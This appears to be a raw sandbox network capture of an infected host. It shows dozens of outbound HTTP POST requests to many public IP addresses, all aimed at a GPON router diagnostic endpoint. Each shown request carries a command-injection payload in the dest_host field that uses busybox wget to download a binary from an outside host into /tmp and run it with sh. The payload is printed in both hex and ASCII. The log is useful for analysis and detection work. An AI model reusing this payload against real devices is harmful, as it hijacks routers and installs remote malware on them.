Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401456118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2385	192.168.2.13	34086	2.87.21.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401494026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2386	192.168.2.13	36580	202.51.184.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401504040 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2387	192.168.2.13	41040	178.227.136.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401540041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2388	192.168.2.13	56764	148.223.64.161	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401540995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2389	192.168.2.13	50152	5.38.161.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401562929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2390	192.168.2.13	39862	117.32.253.247	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401571035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2391	192.168.2.13	50230	212.191.110.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401590109 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2392	192.168.2.13	37200	118.254.139.166	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401613951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2393	192.168.2.13	40110	212.201.181.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401632071 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2394	192.168.2.13	56082	117.126.6.249	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401644945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2395	192.168.2.13	35770	79.26.251.158	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401674986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2396	192.168.2.13	35602	148.236.22.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401683092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2397	192.168.2.13	38320	117.200.5.249	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401701927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2398	192.168.2.13	34716	42.181.167.49	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401727915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2399	192.168.2.13	51942	212.219.8.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401745081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2400	192.168.2.13	46902	5.1.115.86	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401772976 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2401	192.168.2.13	43412	79.67.189.86	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401784897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2402	192.168.2.13	53008	37.16.101.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401823997 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2403	192.168.2.13	51486	94.199.79.166	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401838064 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2404	192.168.2.13	54586	118.2.26.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401856899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2405	192.168.2.13	49384	123.27.239.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401881933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2406	192.168.2.13	43436	202.192.126.20	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401895046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2407	192.168.2.13	34874	148.234.70.54	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401899099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2408	192.168.2.13	41668	202.92.220.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401910067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2409	192.168.2.13	57328	42.122.118.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401930094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 